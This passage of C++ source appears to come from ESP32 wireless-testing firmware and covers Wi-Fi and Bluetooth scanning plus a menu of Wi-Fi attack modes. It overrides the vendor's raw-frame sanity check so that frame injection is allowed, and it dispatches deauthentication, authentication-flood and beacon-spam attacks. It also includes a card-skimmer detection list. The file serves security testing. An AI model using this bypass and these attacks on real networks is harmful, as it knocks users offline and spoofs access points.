WiFiScan.cpp 102 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068106910701071107210731074107510761077107810791080108110821083108410851086108710881089109010911092109310941095109610971098109911001101110211031104110511061107110811091110111111121113111411151116111711181119112011211122112311241125112611271128112911301131113211331134113511361137113811391140114111421143114411451146114711481149115011511152115311541155115611571158115911601161116211631164116511661167116811691170117111721173117411751176117711781179118011811182118311841185118611871188118911901191119211931194119511961197119811991200120112021203120412051206120712081209121012111212121312141215121612171218121912201221122212231224122512261227122812291230123112321233123412351236123712381239124012411242124312441245124612471248124912501251125212531254125512561257125812591260126112621263126412651266126712681269127012711272127312741275127612771278127912801281128212831284128512861287128812891290129112921293129412951296129712981299130013011302130313041305130613071308130913101311131213131314131513161317131813191320132113221323132413251326132713281329133013311332133313341335133613371338133913401341134213431344134513461347134813491350135113521353135413551356135713581359136013611362136313641365136613671368136913701371137213731374137513761377137813791380138113821383138413851386138713881389139013911392139313941395139613971398139914001401140214031404140514061407140814091410141114121413141414151416141714181419142014211422142314241425142614271428142914301431143214331434143514361437143814391440144114421443144414451446144714481449145014511452145314541455145614571458145914601461146214631464146514661467146814691470147114721473147414751476147714781479148014811482148314841485148614871488148914901491149214931494149514961497149814991500150115021503150415051506150715081509151015111512151315141515151615171518151915201521152215231524152515261527152815291530153115321533153415351536153715381539154015411542154315441545154615471548154915501551155215531554155515561557155815591560156115621563156415651566156715681569157015711572157315741575157615771578157915801581158215831584158515861587158815891590159115921593159415951596159715981599160016011602160316041605160616071608160916101611161216131614161516161617161816191620162116221623162416251626162716281629163016311632163316341635163616371638163916401641164216431644164516461647164816491650165116521653165416551656165716581659166016611662166316641665166616671668166916701671167216731674167516761677167816791680168116821683168416851686168716881689169016911692169316941695169616971698169917001701170217031704170517061707170817091710171117121713171417151716171717181719172017211722172317241725172617271728172917301731173217331734173517361737173817391740174117421743174417451746174717481749175017511752175317541755175617571758175917601761176217631764176517661767176817691770177117721773177417751776177717781779178017811782178317841785178617871788178917901791179217931794179517961797179817991800180118021803180418051806180718081809181018111812181318141815181618171818181918201821182218231824182518261827182818291830183118321833183418351836183718381839184018411842184318441845184618471848184918501851185218531854185518561857185818591860186118621863186418651866186718681869187018711872187318741875187618771878187918801881188218831884188518861887188818891890189118921893189418951896189718981899190019011902190319041905190619071908190919101911191219131914191519161917191819191920192119221923192419251926192719281929193019311932193319341935193619371938193919401941194219431944194519461947194819491950195119521953195419551956195719581959196019611962196319641965196619671968196919701971197219731974197519761977197819791980198119821983198419851986198719881989199019911992199319941995199619971998199920002001200220032004200520062007200820092010201120122013201420152016201720182019202020212022202320242025202620272028202920302031203220332034203520362037203820392040204120422043204420452046204720482049205020512052205320542055205620572058205920602061206220632064206520662067206820692070207120722073207420752076207720782079208020812082208320842085208620872088208920902091209220932094209520962097209820992100210121022103210421052106210721082109211021112112211321142115211621172118211921202121212221232124212521262127212821292130213121322133213421352136213721382139214021412142214321442145214621472148214921502151215221532154215521562157215821592160216121622163216421652166216721682169217021712172217321742175217621772178217921802181218221832184218521862187218821892190219121922193219421952196219721982199220022012202220322042205220622072208220922102211221222132214221522162217221822192220222122222223222422252226222722282229223022312232223322342235223622372238223922402241224222432244224522462247224822492250225122522253225422552256225722582259226022612262226322642265226622672268226922702271227222732274227522762277227822792280228122822283228422852286228722882289229022912292229322942295229622972298229923002301230223032304230523062307230823092310231123122313231423152316231723182319232023212322232323242325232623272328232923302331233223332334233523362337233823392340234123422343234423452346234723482349235023512352235323542355235623572358235923602361236223632364236523662367236823692370237123722373237423752376237723782379238023812382238323842385238623872388238923902391239223932394239523962397239823992400240124022403240424052406240724082409241024112412241324142415241624172418241924202421242224232424242524262427242824292430243124322433243424352436243724382439244024412442244324442445244624472448244924502451245224532454245524562457245824592460246124622463246424652466246724682469247024712472247324742475247624772478247924802481248224832484248524862487248824892490249124922493249424952496249724982499250025012502250325042505250625072508250925102511251225132514251525162517251825192520252125222523252425252526252725282529253025312532253325342535253625372538253925402541254225432544254525462547254825492550255125522553255425552556255725582559256025612562256325642565256625672568256925702571257225732574257525762577257825792580258125822583258425852586258725882589259025912592259325942595259625972598259926002601260226032604260526062607260826092610261126122613261426152616261726182619262026212622262326242625262626272628262926302631263226332634263526362637263826392640264126422643264426452646264726482649265026512652265326542655265626572658265926602661266226632664266526662667266826692670267126722673267426752676267726782679268026812682268326842685268626872688268926902691269226932694269526962697269826992700270127022703270427052706270727082709271027112712271327142715271627172718271927202721272227232724272527262727272827292730273127322733273427352736273727382739274027412742274327442745274627472748274927502751275227532754275527562757275827592760276127622763276427652766276727682769277027712772277327742775277627772778277927802781278227832784278527862787278827892790279127922793279427952796279727982799280028012802280328042805280628072808280928102811281228132814281528162817281828192820282128222823282428252826282728282829283028312832283328342835283628372838283928402841284228432844284528462847284828492850285128522853285428552856285728582859286028612862286328642865286628672868286928702871287228732874287528762877287828792880288128822883288428852886288728882889289028912892289328942895289628972898289929002901290229032904290529062907290829092910291129122913291429152916291729182919292029212922292329242925292629272928292929302931293229332934293529362937293829392940294129422943294429452946294729482949295029512952295329542955295629572958295929602961296229632964296529662967296829692970297129722973297429752976297729782979298029812982298329842985298629872988298929902991299229932994299529962997299829993000300130023003300430053006300730083009301030113012301330143015301630173018301930203021302230233024302530263027302830293030303130323033303430353036303730383039304030413042304330443045304630473048304930503051305230533054305530563057305830593060306130623063306430653066306730683069307030713072307330743075307630773078307930803081308230833084308530863087308830893090309130923093309430953096309730983099310031013102310331043105310631073108310931103111311231133114311531163117311831193120312131223123312431253126312731283129313031313132313331343135313631373138313931403141314231433144314531463147314831493150315131523153315431553156315731583159316031613162316331643165316631673168316931703171317231733174317531763177317831793180318131823183318431853186318731883189319031913192319331943195
  1. #include "WiFiScan.h"
  2. #include "lang_var.h"
  3. int num_beacon = 0;
  4. int num_deauth = 0;
  5. int num_probe = 0;
  6. int num_eapol = 0;
  7. LinkedList<ssid>* ssids;
  8. LinkedList<AccessPoint>* access_points;
  9. extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3){
  10. if (arg == 31337)
  11. return 1;
  12. else
  13. return 0;
  14. }
  15. #ifdef HAS_BT
  16. class bluetoothScanAllCallback: public BLEAdvertisedDeviceCallbacks {
  17. void onResult(BLEAdvertisedDevice *advertisedDevice) {
  18. #ifdef HAS_SCREEN
  19. int buf = display_obj.display_buffer->size();
  20. #else
  21. int buf = 0;
  22. #endif
  23. String display_string = "";
  24. if (buf >= 0)
  25. {
  26. display_string.concat(text_table4[0]);
  27. display_string.concat(advertisedDevice->getRSSI());
  28. Serial.print(" RSSI: ");
  29. Serial.print(advertisedDevice->getRSSI());
  30. display_string.concat(" ");
  31. Serial.print(" ");
  32. Serial.print("Device: ");
  33. if(advertisedDevice->getName().length() != 0)
  34. {
  35. display_string.concat(advertisedDevice->getName().c_str());
  36. Serial.print(advertisedDevice->getName().c_str());
  37. }
  38. else
  39. {
  40. display_string.concat(advertisedDevice->getAddress().toString().c_str());
  41. Serial.print(advertisedDevice->getAddress().toString().c_str());
  42. }
  43. #ifdef HAS_SCREEN
  44. uint8_t temp_len = display_string.length();
  45. for (uint8_t i = 0; i < 40 - temp_len; i++)
  46. {
  47. display_string.concat(" ");
  48. }
  49. Serial.println();
  50. while (display_obj.printing)
  51. delay(1);
  52. display_obj.loading = true;
  53. display_obj.display_buffer->add(display_string);
  54. display_obj.loading = false;
  55. #endif
  56. }
  57. }
  58. };
  59. class bluetoothScanSkimmersCallback: public BLEAdvertisedDeviceCallbacks {
  60. void onResult(BLEAdvertisedDevice *advertisedDevice) {
  61. String bad_list[bad_list_length] = {"HC-03", "HC-05", "HC-06"};
  62. #ifdef HAS_SCREEN
  63. int buf = display_obj.display_buffer->size();
  64. #else
  65. int buf = 0;
  66. #endif
  67. if (buf >= 0)
  68. {
  69. Serial.print("Device: ");
  70. String display_string = "";
  71. if(advertisedDevice->getName().length() != 0)
  72. {
  73. Serial.print(advertisedDevice->getName().c_str());
  74. for(uint8_t i = 0; i < bad_list_length; i++)
  75. {
  76. #ifdef HAS_SCREEN
  77. if(strcmp(advertisedDevice->getName().c_str(), bad_list[i].c_str()) == 0)
  78. {
  79. display_string.concat(text_table4[1]);
  80. display_string.concat(" ");
  81. display_string.concat(advertisedDevice->getName().c_str());
  82. uint8_t temp_len = display_string.length();
  83. for (uint8_t i = 0; i < 40 - temp_len; i++)
  84. {
  85. display_string.concat(" ");
  86. }
  87. while (display_obj.printing)
  88. delay(1);
  89. display_obj.loading = true;
  90. display_obj.display_buffer->add(display_string);
  91. display_obj.loading = false;
  92. }
  93. #endif
  94. }
  95. }
  96. else
  97. {
  98. Serial.print(advertisedDevice->getAddress().toString().c_str());
  99. }
  100. Serial.print(" RSSI: ");
  101. Serial.println(advertisedDevice->getRSSI());
  102. }
  103. }
  104. };
  105. #endif
  106. WiFiScan::WiFiScan()
  107. {
  108. }
  109. void WiFiScan::RunSetup() {
  110. if (ieee80211_raw_frame_sanity_check(31337, 0, 0) == 1)
  111. this->wsl_bypass_enabled = true;
  112. else
  113. this->wsl_bypass_enabled = false;
  114. ssids = new LinkedList<ssid>();
  115. access_points = new LinkedList<AccessPoint>();
  116. #ifdef HAS_BT
  117. NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
  118. NimBLEDevice::setScanDuplicateCacheSize(200);
  119. NimBLEDevice::init("");
  120. pBLEScan = NimBLEDevice::getScan(); //create new scan
  121. this->ble_initialized = true;
  122. this->shutdownBLE();
  123. #endif
  124. this->initWiFi(1);
  125. }
  126. int WiFiScan::clearAPs() {
  127. int num_cleared = access_points->size();
  128. access_points->clear();
  129. Serial.println("access_points: " + (String)access_points->size());
  130. return num_cleared;
  131. }
  132. int WiFiScan::clearSSIDs() {
  133. int num_cleared = ssids->size();
  134. ssids->clear();
  135. Serial.println("ssids: " + (String)ssids->size());
  136. return num_cleared;
  137. }
  138. bool WiFiScan::addSSID(String essid) {
  139. ssid s = {essid, {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
  140. ssids->add(s);
  141. Serial.println(ssids->get(ssids->size() - 1).essid);
  142. return true;
  143. }
  144. int WiFiScan::generateSSIDs(int count) {
  145. uint8_t num_gen = count;
  146. for (uint8_t x = 0; x < num_gen; x++) {
  147. String essid = "";
  148. for (uint8_t i = 0; i < 6; i++)
  149. essid.concat(alfa[random(65)]);
  150. ssid s = {essid, {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
  151. ssids->add(s);
  152. Serial.println(ssids->get(ssids->size() - 1).essid);
  153. }
  154. return num_gen;
  155. }
  156. #ifdef HAS_SCREEN
  157. void WiFiScan::joinWiFi(String ssid, String password)
  158. {
  159. static const char * btns[] ={text16, ""};
  160. int count = 0;
  161. if ((WiFi.status() == WL_CONNECTED) && (ssid == connected_network) && (ssid != "")) {
  162. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  163. lv_msgbox_set_text(mbox1, text_table4[2]);
  164. lv_msgbox_add_btns(mbox1, btns);
  165. lv_obj_set_width(mbox1, 200);
  166. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  167. this->wifi_initialized = true;
  168. return;
  169. }
  170. else if (WiFi.status() == WL_CONNECTED) {
  171. Serial.println("Already connected. Disconnecting...");
  172. WiFi.disconnect();
  173. }
  174. esp_wifi_init(&cfg);
  175. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  176. esp_wifi_set_mode(WIFI_MODE_NULL);
  177. esp_wifi_start();
  178. WiFi.begin(ssid.c_str(), password.c_str());
  179. Serial.print("Connecting to WiFi");
  180. while (WiFi.status() != WL_CONNECTED) {
  181. delay(500);
  182. Serial.print(".");
  183. count++;
  184. if (count == 10)
  185. {
  186. Serial.println("\nCould not connect to WiFi network");
  187. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  188. lv_msgbox_set_text(mbox1, text_table4[3]);
  189. lv_msgbox_add_btns(mbox1, btns);
  190. lv_obj_set_width(mbox1, 200);
  191. //lv_obj_set_event_cb(mbox1, event_handler);
  192. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  193. WiFi.mode(WIFI_OFF);
  194. return;
  195. }
  196. }
  197. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  198. lv_msgbox_set_text(mbox1, text_table4[4]);
  199. lv_msgbox_add_btns(mbox1, btns);
  200. lv_obj_set_width(mbox1, 200);
  201. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  202. connected_network = ssid;
  203. Serial.println("\nConnected to the WiFi network");
  204. Serial.print("IP address: ");
  205. Serial.println(WiFi.localIP());
  206. this->wifi_initialized = true;
  207. }
  208. #endif
  209. // Apply WiFi settings
  210. void WiFiScan::initWiFi(uint8_t scan_mode) {
  211. // Set the channel
  212. if (scan_mode != WIFI_SCAN_OFF) {
  213. //Serial.println(F("Initializing WiFi settings..."));
  214. this->changeChannel();
  215. this->force_pmkid = settings_obj.loadSetting<bool>(text_table4[5]);
  216. this->force_probe = settings_obj.loadSetting<bool>(text_table4[6]);
  217. this->save_pcap = settings_obj.loadSetting<bool>(text_table4[7]);
  218. //Serial.println(F("Initialization complete"));
  219. }
  220. }
  221. bool WiFiScan::scanning() {
  222. if (this->currentScanMode == WIFI_SCAN_OFF)
  223. return false;
  224. else
  225. return true;
  226. }
  227. // Function to prepare to run a specific scan
  228. void WiFiScan::StartScan(uint8_t scan_mode, uint16_t color)
  229. {
  230. this->initWiFi(scan_mode);
  231. if (scan_mode == WIFI_SCAN_OFF)
  232. StopScan(scan_mode);
  233. else if (scan_mode == WIFI_SCAN_PROBE)
  234. RunProbeScan(scan_mode, color);
  235. else if (scan_mode == WIFI_SCAN_EAPOL)
  236. RunEapolScan(scan_mode, color);
  237. else if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL)
  238. RunEapolScan(scan_mode, color);
  239. else if (scan_mode == WIFI_SCAN_AP)
  240. RunBeaconScan(scan_mode, color);
  241. else if (scan_mode == WIFI_SCAN_TARGET_AP)
  242. RunAPScan(scan_mode, color);
  243. else if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
  244. RunAPScan(scan_mode, color);
  245. else if (scan_mode == WIFI_SCAN_PWN)
  246. RunPwnScan(scan_mode, color);
  247. else if (scan_mode == WIFI_SCAN_DEAUTH)
  248. RunDeauthScan(scan_mode, color);
  249. else if (scan_mode == WIFI_PACKET_MONITOR) {
  250. #ifdef HAS_SCREEN
  251. RunPacketMonitor(scan_mode, color);
  252. #endif
  253. }
  254. else if (scan_mode == WIFI_ATTACK_BEACON_LIST)
  255. this->startWiFiAttacks(scan_mode, color, text_table1[50]);
  256. else if (scan_mode == WIFI_ATTACK_BEACON_SPAM)
  257. this->startWiFiAttacks(scan_mode, color, text_table1[51]);
  258. else if (scan_mode == WIFI_ATTACK_RICK_ROLL)
  259. this->startWiFiAttacks(scan_mode, color, text_table1[52]);
  260. else if (scan_mode == WIFI_ATTACK_AUTH)
  261. this->startWiFiAttacks(scan_mode, color, text_table4[7]);
  262. else if (scan_mode == WIFI_ATTACK_DEAUTH)
  263. this->startWiFiAttacks(scan_mode, color, text_table4[8]);
  264. else if (scan_mode == WIFI_ATTACK_AP_SPAM)
  265. this->startWiFiAttacks(scan_mode, color, " AP Beacon Spam ");
  266. else if (scan_mode == BT_SCAN_ALL) {
  267. #ifdef HAS_BT
  268. RunBluetoothScan(scan_mode, color);
  269. #endif
  270. }
  271. else if (scan_mode == BT_SCAN_SKIMMERS) {
  272. #ifdef HAS_BT
  273. RunBluetoothScan(scan_mode, color);
  274. #endif
  275. }
  276. else if (scan_mode == WIFI_SCAN_ESPRESSIF)
  277. RunEspressifScan(scan_mode, color);
  278. else if (scan_mode == LV_JOIN_WIFI) {
  279. #ifdef HAS_SCREEN
  280. RunLvJoinWiFi(scan_mode, color);
  281. #endif
  282. }
  283. else if (scan_mode == LV_ADD_SSID) {
  284. #ifdef HAS_SCREEN
  285. RunLvJoinWiFi(scan_mode, color);
  286. #endif
  287. }
  288. WiFiScan::currentScanMode = scan_mode;
  289. }
  290. void WiFiScan::startWiFiAttacks(uint8_t scan_mode, uint16_t color, String title_string) {
  291. // Common wifi attack configurations
  292. #ifdef HAS_SCREEN
  293. display_obj.TOP_FIXED_AREA_2 = 48;
  294. display_obj.tteBar = true;
  295. display_obj.print_delay_1 = 15;
  296. display_obj.print_delay_2 = 10;
  297. display_obj.initScrollValues(true);
  298. display_obj.tft.setTextWrap(false);
  299. display_obj.tft.setTextColor(TFT_BLACK, color);
  300. display_obj.tft.fillRect(0,16,240,16, color);
  301. display_obj.tft.drawCentreString((String)title_string,120,16,2);
  302. display_obj.touchToExit();
  303. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  304. #endif
  305. packets_sent = 0;
  306. WiFi.mode(WIFI_AP_STA);
  307. //esp_wifi_init(&cfg);
  308. //esp_wifi_set_storage(WIFI_STORAGE_RAM);
  309. //esp_wifi_set_mode(WIFI_AP_STA);
  310. //esp_wifi_start();
  311. //esp_wifi_set_promiscuous_filter(NULL);
  312. esp_wifi_set_promiscuous(true);
  313. esp_wifi_set_max_tx_power(82);
  314. this->wifi_initialized = true;
  315. #ifdef MARAUDER_FLIPPER
  316. flipper_led.attackLED();
  317. #endif
  318. initTime = millis();
  319. }
  320. bool WiFiScan::shutdownWiFi() {
  321. if (this->wifi_initialized) {
  322. esp_wifi_set_promiscuous(false);
  323. WiFi.disconnect();
  324. WiFi.mode(WIFI_OFF);
  325. esp_wifi_set_mode(WIFI_MODE_NULL);
  326. esp_wifi_stop();
  327. esp_wifi_deinit();
  328. #ifdef MARAUDER_FLIPPER
  329. flipper_led.offLED();
  330. #endif
  331. this->wifi_initialized = false;
  332. return true;
  333. }
  334. else {
  335. return false;
  336. }
  337. }
  338. bool WiFiScan::shutdownBLE() {
  339. #ifdef HAS_BT
  340. if (this->ble_initialized) {
  341. pBLEScan->stop();
  342. pBLEScan->clearResults();
  343. BLEDevice::deinit();
  344. #ifdef MARAUDER_FLIPPER
  345. flipper_led.offLED();
  346. #endif
  347. this->ble_initialized = false;
  348. return true;
  349. }
  350. else {
  351. return false;
  352. }
  353. #endif
  354. return true;
  355. }
  356. // Function to stop all wifi scans
  357. void WiFiScan::StopScan(uint8_t scan_mode)
  358. {
  359. if ((currentScanMode == WIFI_SCAN_PROBE) ||
  360. (currentScanMode == WIFI_SCAN_AP) ||
  361. (currentScanMode == WIFI_SCAN_TARGET_AP) ||
  362. (currentScanMode == WIFI_SCAN_TARGET_AP_FULL) ||
  363. (currentScanMode == WIFI_SCAN_PWN) ||
  364. (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
  365. (currentScanMode == WIFI_SCAN_EAPOL) ||
  366. (currentScanMode == WIFI_SCAN_ACTIVE_EAPOL) ||
  367. (currentScanMode == WIFI_SCAN_ALL) ||
  368. (currentScanMode == WIFI_SCAN_DEAUTH) ||
  369. (currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
  370. (currentScanMode == WIFI_ATTACK_BEACON_SPAM) ||
  371. (currentScanMode == WIFI_ATTACK_AUTH) ||
  372. (currentScanMode == WIFI_ATTACK_DEAUTH) ||
  373. (currentScanMode == WIFI_ATTACK_MIMIC) ||
  374. (currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
  375. (currentScanMode == WIFI_PACKET_MONITOR) ||
  376. (currentScanMode == LV_JOIN_WIFI))
  377. {
  378. this->shutdownWiFi();
  379. }
  380. else if ((currentScanMode == BT_SCAN_ALL) ||
  381. (currentScanMode == BT_SCAN_SKIMMERS))
  382. {
  383. #ifdef HAS_BT
  384. this->shutdownBLE();
  385. #endif
  386. }
  387. #ifdef HAS_SCREEN
  388. display_obj.display_buffer->clear();
  389. #ifdef SCREEN_BUFFER
  390. display_obj.screen_buffer->clear();
  391. #endif
  392. //Serial.print("display_buffer->size(): ");
  393. Serial.println(display_obj.display_buffer->size());
  394. display_obj.tteBar = false;
  395. #endif
  396. }
  397. String WiFiScan::getStaMAC()
  398. {
  399. char *buf;
  400. uint8_t mac[6];
  401. char macAddrChr[18] = {0};
  402. esp_wifi_init(&cfg);
  403. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  404. esp_wifi_set_mode(WIFI_MODE_NULL);
  405. esp_wifi_start();
  406. esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
  407. this->wifi_initialized = true;
  408. sprintf(macAddrChr,
  409. "%02X:%02X:%02X:%02X:%02X:%02X",
  410. mac[0],
  411. mac[1],
  412. mac[2],
  413. mac[3],
  414. mac[4],
  415. mac[5]);
  416. this->shutdownWiFi();
  417. return String(macAddrChr);
  418. }
  419. String WiFiScan::getApMAC()
  420. {
  421. char *buf;
  422. uint8_t mac[6];
  423. char macAddrChr[18] = {0};
  424. esp_wifi_init(&cfg);
  425. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  426. esp_wifi_set_mode(WIFI_MODE_NULL);
  427. esp_wifi_start();
  428. esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
  429. this->wifi_initialized = true;
  430. sprintf(macAddrChr,
  431. "%02X:%02X:%02X:%02X:%02X:%02X",
  432. mac[0],
  433. mac[1],
  434. mac[2],
  435. mac[3],
  436. mac[4],
  437. mac[5]);
  438. this->shutdownWiFi();
  439. return String(macAddrChr);
  440. }
  441. String WiFiScan::freeRAM()
  442. {
  443. char s[150];
  444. sprintf(s, "RAM Free: %u bytes", esp_get_free_heap_size());
  445. this->free_ram = String(esp_get_free_heap_size());
  446. return String(s);
  447. }
  448. // Function to start running a beacon scan
  449. void WiFiScan::RunAPScan(uint8_t scan_mode, uint16_t color)
  450. {
  451. sd_obj.openCapture("ap");
  452. #ifdef MARAUDER_FLIPPER
  453. flipper_led.sniffLED();
  454. #endif
  455. Serial.println(text_table4[9] + (String)access_points->size());
  456. #ifdef HAS_SCREEN
  457. display_obj.TOP_FIXED_AREA_2 = 48;
  458. display_obj.tteBar = true;
  459. display_obj.print_delay_1 = 15;
  460. display_obj.print_delay_2 = 10;
  461. display_obj.initScrollValues(true);
  462. display_obj.tft.setTextWrap(false);
  463. display_obj.tft.setTextColor(TFT_WHITE, color);
  464. #ifndef MARAUDER_MINI
  465. display_obj.tft.fillRect(0,16,240,16, color);
  466. display_obj.tft.drawCentreString(text_table4[44],120,16,2);
  467. display_obj.touchToExit();
  468. #endif
  469. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  470. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  471. #endif
  472. esp_wifi_init(&cfg);
  473. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  474. esp_wifi_set_mode(WIFI_MODE_NULL);
  475. esp_wifi_start();
  476. esp_wifi_set_promiscuous(true);
  477. esp_wifi_set_promiscuous_filter(&filt);
  478. //if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
  479. esp_wifi_set_promiscuous_rx_cb(&apSnifferCallbackFull);
  480. //else
  481. // esp_wifi_set_promiscuous_rx_cb(&apSnifferCallback);
  482. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  483. this->wifi_initialized = true;
  484. initTime = millis();
  485. }
  486. #ifdef HAS_SCREEN
  487. void WiFiScan::RunLvJoinWiFi(uint8_t scan_mode, uint16_t color) {
  488. display_obj.tft.init();
  489. display_obj.tft.setRotation(1);
  490. #ifdef TFT_SHIELD
  491. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  492. Serial.println("Using TFT Shield");
  493. #else if defined(TFT_DIY)
  494. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  495. Serial.println("Using TFT DIY");
  496. #endif
  497. display_obj.tft.setTouch(calData);
  498. lv_obj_t * scr = lv_cont_create(NULL, NULL);
  499. lv_disp_load_scr(scr);
  500. }
  501. #endif
  502. void WiFiScan::RunClearAPs() {
  503. #ifdef HAS_SCREEN
  504. display_obj.tft.setTextWrap(false);
  505. display_obj.tft.setFreeFont(NULL);
  506. display_obj.tft.setCursor(0, 100);
  507. display_obj.tft.setTextSize(1);
  508. display_obj.tft.setTextColor(TFT_CYAN);
  509. display_obj.tft.println(F(text_table4[9]));
  510. display_obj.tft.println(text_table4[10] + (String)this->clearAPs());
  511. #else
  512. this->clearAPs();
  513. #endif
  514. }
  515. void WiFiScan::RunClearSSIDs() {
  516. #ifdef HAS_SCREEN
  517. display_obj.tft.setTextWrap(false);
  518. display_obj.tft.setFreeFont(NULL);
  519. display_obj.tft.setCursor(0, 100);
  520. display_obj.tft.setTextSize(1);
  521. display_obj.tft.setTextColor(TFT_CYAN);
  522. display_obj.tft.println(F(text_table4[11]));
  523. display_obj.tft.println(text_table4[12] + (String)this->clearSSIDs());
  524. #else
  525. this->clearSSIDs();
  526. #endif
  527. }
  528. void WiFiScan::RunGenerateSSIDs(int count) {
  529. #ifdef HAS_SCREEN
  530. display_obj.tft.setTextWrap(false);
  531. display_obj.tft.setFreeFont(NULL);
  532. display_obj.tft.setCursor(0, 100);
  533. display_obj.tft.setTextSize(1);
  534. display_obj.tft.setTextColor(TFT_CYAN);
  535. display_obj.tft.println(F(text_table4[13]));
  536. display_obj.tft.println(text_table4[14] + (String)this->generateSSIDs());
  537. display_obj.tft.println(text_table4[15] + (String)ssids->size());
  538. #else
  539. this->generateSSIDs(count);
  540. #endif
  541. }
  542. void WiFiScan::RunShutdownWiFi() {
  543. #ifdef HAS_SCREEN
  544. display_obj.tft.setTextWrap(false);
  545. display_obj.tft.setFreeFont(NULL);
  546. display_obj.tft.setCursor(0, 100);
  547. display_obj.tft.setTextSize(1);
  548. display_obj.tft.setTextColor(TFT_CYAN);
  549. display_obj.tft.print(F(text_table4[16]));
  550. #endif
  551. if (this->wifi_initialized) {
  552. this->shutdownWiFi();
  553. #ifdef HAS_SCREEN
  554. display_obj.tft.setTextColor(TFT_GREEN);
  555. display_obj.tft.println(F("OK"));
  556. #endif
  557. }
  558. else {
  559. #ifdef HAS_SCREEN
  560. display_obj.tft.setTextColor(TFT_RED);
  561. display_obj.tft.println(F(text17));
  562. display_obj.tft.println(F(text_table4[17]));
  563. #endif
  564. }
  565. }
  566. void WiFiScan::RunShutdownBLE() {
  567. #ifdef HAS_SCREEN
  568. display_obj.tft.setTextWrap(false);
  569. display_obj.tft.setFreeFont(NULL);
  570. display_obj.tft.setCursor(0, 100);
  571. display_obj.tft.setTextSize(1);
  572. display_obj.tft.setTextColor(TFT_CYAN);
  573. display_obj.tft.print(F(text_table4[18]));
  574. #endif
  575. if (this->ble_initialized) {
  576. this->shutdownBLE();
  577. #ifdef HAS_SCREEN
  578. display_obj.tft.setTextColor(TFT_GREEN);
  579. display_obj.tft.println(F("OK"));
  580. #endif
  581. }
  582. else {
  583. #ifdef HAS_SCREEN
  584. display_obj.tft.setTextColor(TFT_RED);
  585. display_obj.tft.println(F(text17));
  586. display_obj.tft.println(F(text_table4[19]));
  587. #endif
  588. }
  589. }
  590. void WiFiScan::RunInfo()
  591. {
  592. String sta_mac = this->getStaMAC();
  593. String ap_mac = this->getApMAC();
  594. String free_ram = this->freeRAM();
  595. //Serial.print("STA MAC: ");
  596. //Serial.println(sta_mac);
  597. //Serial.print("AP MAC: ");
  598. //Serial.println(ap_mac);
  599. Serial.println(free_ram);
  600. #ifdef HAS_SCREEN
  601. display_obj.tft.setTextWrap(false);
  602. display_obj.tft.setFreeFont(NULL);
